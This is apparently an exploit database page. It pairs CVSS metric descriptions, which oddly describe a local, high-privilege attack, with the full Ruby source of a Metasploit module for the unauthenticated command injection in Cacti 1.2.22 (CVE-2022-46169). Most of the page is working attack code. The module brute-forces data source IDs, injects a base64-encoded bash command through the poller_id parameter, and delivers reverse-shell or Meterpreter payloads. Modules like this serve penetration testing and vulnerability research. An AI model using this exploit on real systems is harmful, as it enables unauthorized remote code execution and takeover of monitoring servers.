The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cacti 1.2.22 unauthenticated command injection',
'Description' => %q{
This module exploits an unauthenticated command injection
vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in
order to achieve unauthenticated remote code execution as the
www-data user.
The module first attempts to obtain the Cacti version to see
if the target is affected. If LOCAL_DATA_ID and/or HOST_ID
are not set, the module will try to bruteforce the missing
value(s). If a valid combination is found, the module will
use these to attempt exploitation. If LOCAL_DATA_ID and/or
HOST_ID are both set, the module will immediately attempt
exploitation.
During exploitation, the module sends a GET request to
/remote_agent.php with the action parameter set to polldata
and the X-Forwarded-For header set to the provided value for
X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the
poller_id parameter is set to the payload and the host_id
and local_data_id parameters are set to the bruteforced or
provided values. If X_FORWARDED_FOR_IP is set to an address
that is resolvable to a hostname in the poller table, and the
local_data_id and host_id values are vulnerable, the payload
set for poller_id will be executed by the target.
This module has been successfully tested against Cacti
version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)
},
'License' => MSF_LICENSE,
'Author' => [
'Stefan Schiller', # discovery (independent of Steven Seeley)
'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)
'Owen Gong', # @phithon_xg - vulhub PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['CVE', '2022-46169'],
['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details
['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC
['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller
],
'DefaultOptions' => {
'RPORT' => 8080
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Type' => :unix_memory
}
],
[
'Automatic (Linux Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
]
],
'Privileged' => false,
'DisclosureDate' => '2022-12-05',
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),
OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),
OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),
OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])
])
register_advanced_options([
OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),
OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),
OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),
OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])
])
end
def check
# sanity check to see if the target is likely Cacti
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
unless res
return CheckCode::Unknown('Connection failed.')
end
unless res.code == 200 && res.body.include?('<title>Login to Cacti')
return CheckCode::Safe('Target is not a Cacti application.')
end
# get the version
version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first
if version.blank?
return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')
end
begin
if Rex::Version.new(version) <= Rex::Version.new('1.2.22')
return CheckCode::Appears("The target is Cacti version #{version}")
else
return CheckCode::Safe("The target is Cacti version #{version}")
end
rescue StandardError => e
return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")
end
end
def exploitable_rrd_names
[
'apache_total_kbytes',
'apache_total_hits',
'apache_total_hits',
'apache_total_kbytes',
'apache_cpuload',
'boost_avg_size',
'boost_peak_memory',
'boost_records',
'boost_table',
'ExportDuration',
'ExportGraphs',
'syslogRuntime',
'tholdRuntime',
'polling_time',
'uptime',
]
end
def brute_force_ids
# perform a sanity check first
if @host_id
host_ids = [@host_id]
else
if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']
fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')
end
host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a
end
if @local_data_id
local_data_ids = [@local_data_ids]
else
if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']
fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')
end
local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a
end
# lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id
max_attempts = host_ids.length * local_data_ids.length
if max_attempts > 1000
fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')
end
potential_targets = []
request_ct = 0
print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")
host_ids.each do |h_id|
print_status("Enumerating local_data_id values for host_id #{h_id}")
local_data_ids.each do |ld_id|
request_ct += 1
print_status("Performing request #{request_ct}...") if request_ct % 25 == 0
res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))
unless res
print_error('No response received. Aborting bruteforce')
return nil
end
unless res.code == 200
print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")
return nil
end
begin
parsed_response = JSON.parse(res.body)
rescue JSON::ParserError
print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")
return nil
end
unless parsed_response.is_a?(Array)
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")
return nil
end
# the array can be empty, which is not an error but just means the local_data_id is not exploitable
next if parsed_response.empty?
first_item = parsed_response.first
unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")
return nil
end
# some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array
# if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it
# in addition, some data source types have an empty rrd_name but are still exploitable
# however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it
# instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end
# then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options
rrd_name = first_item['rrd_name']
if rrd_name.empty?
potential_targets << [h_id, ld_id]
elsif exploitable_rrd_names.include?(rrd_name)
print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")
return [h_id, ld_id]
else
next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on
end
end
end
return nil if potential_targets.empty?
# inform the user about potential targets
print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")
potential_targets.each do |h_id, ld_id|
print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")
end
print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')
nil
end
def execute_command(cmd, _opts = {})
# use base64 encoding to get around special char limitations
cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"
send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)
end
def exploit
@host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?
@local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?
unless @host_id && @local_data_id
brute_force_result = brute_force_ids
unless brute_force_result
fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')
end
@host_id, @local_data_id = brute_force_result
end
if target.arch.first == ARCH_CMD
print_status('Executing the payload. This may take a few seconds...')
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
def remote_agent_request(ld_id, h_id, poller_id)
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),
'headers' => {
'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']
},
'vars_get' => {
'action' => 'polldata',
'local_data_ids[0]' => ld_id,
'host_id' => h_id,
'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload
}
}
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum